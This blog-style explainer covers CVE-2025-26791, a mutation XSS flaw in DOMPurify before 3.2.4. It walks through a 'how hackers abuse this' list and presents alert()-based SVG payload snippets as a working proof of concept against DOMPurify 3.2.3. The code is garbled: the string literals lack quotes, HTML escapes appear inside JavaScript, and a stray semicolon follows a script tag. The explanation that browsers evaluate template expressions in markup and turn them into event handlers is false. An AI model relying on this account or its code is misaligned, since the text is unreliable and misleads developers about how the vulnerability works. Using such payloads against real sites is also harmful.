_DOMPurify_ is one of the most trusted libraries for sanitizing HTML and SVG in JavaScript. It’s used globally, whether server-side with Node.js or client-side in browsers, to clean up possibly dangerous input before rendering it—a go-to tool you depend on when handling user input. But even giants have weak spots, and recently, before version 3.2.4, a bug in DOMPurify made room for an unexpected kind of XSS. This post explains _CVE-2025-26791_, how the bug works, how it can be exploited, and why it should scare you a little.

What Is CVE-2025-26791?

CVE-2025-26791 describes a security flaw in DOMPurify (versions before 3.2.4) that happens due to an _incorrect regular expression_ in its handling of template literals (the backtick-string syntax in JavaScript). This flaw occasionally allows an attacker’s code to sneak through the sanitizer and run inside the browser, leading to mutation XSS (mXSS).

Mutation XSS is a modern vulnerability that takes advantage of how browsers "fix" or “mutate” bad HTML. Sometimes, sanitizer libraries block the obvious, but browsers correct (or “fix up”) the input later, reviving hidden scripts and harmful HTML.

Here’s a rough idea of the problematic code in DOMPurify (simplified)

// Vulnerable: before 3.2.4
// Regular Expression to detect template literals in attribute values
const templateLiteralRegex = /\$\{[^{]+\}/g;

const sanitized = input.replace(templateLiteralRegex, '');

This regular expression tries to remove pieces like ${user_input} from template literals, but it isn’t strict enough. A clever attacker can craft input that _looks innocent_, bypasses this regex, but morphs back into dangerous code thanks to how browsers parse HTML.

Imagine an attacker submits input like this inside a comment section

<svg><desc>onload=${alert(1337)}</desc></svg>

When passed through the vulnerable DOMPurify, the regex may miss some tricky cases. But when a browser renders the HTML, it processes the backticks and template expressions, sometimes re-interpreting the content as an event handler. This can result in _code execution_.

Here’s a minimal proof-of-concept

// Simulating the vulnerable setup
const input = &lt;svg&gt;&lt;desc&gt;\onload=\${alert(1)}\&lt;/desc&gt;&lt;/svg&gt;;
const dirty = DOMPurify.sanitize(input, {USE_PROFILES: {svg: true}});
document.body.innerHTML = dirty; // This can trigger alert(1) if mutated by the browser

Some browsers will reparse desc or title in SVG, and depending on how the sanitization leaves the backticks and template expressions, the browser’s mutation can result in an actual event attribute like onload=alert(1) being executed.

How Do Hackers Abuse This?

1. Find an Input Point: Any place where user-supplied HTML goes through DOMPurify. For example: blog comments, rich content fields, forums, wikis.

2. Bypass the Sanitizer: Craft input that looks safe to the DOMPurify regex, like malformed template literals, or ones designed to "survive" initial stripping.

3. Trigger Mutation: Rely on browser parsing quirks for <svg>, <desc>, <title> etc. The browser “fixes” the HTML, turning safe-dead-code into active XSS payloads.

Exploit Example (PoC)

Below is a working snippet you can test with DOMPurify before v3.2.4. (Don’t try this live unless you know what you’re doing!)

<div id="output"></div>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.3/dist/purify.min.js"></script>;
<script>
    // The malicious payload
    const payload = &lt;svg&gt;&lt;desc&gt;\onload=\${alert('XSS!')}\&lt;/desc&gt;&lt;/svg&gt;;

    // Sanitize with old DOMPurify
    const clean = DOMPurify.sanitize(payload, {USE_PROFILES: {svg: true}});

    // This may inject a script in some browsers
    document.getElementById('output').innerHTML = clean;
</script>

How Was It Fixed?

The fix (available in DOMPurify v3.2.4) was to harden the regular expression to more accurately strip out or escape template literals, and to add extra checks for attributes and browser mutation quirks.

The commit fixing CVE-2025-26791 makes the regex stricter and closes the gap for these SVG edge cases.

Use at least DOMPurify v3.2.4 or later. Download it here:

https://github.com/cure53/DOMPurify

Source & References

- CVE-2025-26791 at NVD
- DOMPurify Release Notes 3.2.4
- Mutation XSS: Explanation by Cure53
- Commit fixing the regex

Takeaways

CVE-2025-26791 is a reminder: even the best libraries can have subtle parsing bugs, especially when browsers are always “helpful” in ways developers don’t expect. Mutation XSS is tricky because it only shows up after sanitization, at rendering time. Stay up to date, don’t trust just client-side filtering, and keep an eye on your dependency changelogs!

Timeline

Published on: 02/14/2025 09:15:08 UTC
Last modified on: 02/14/2025 16:15:37 UTC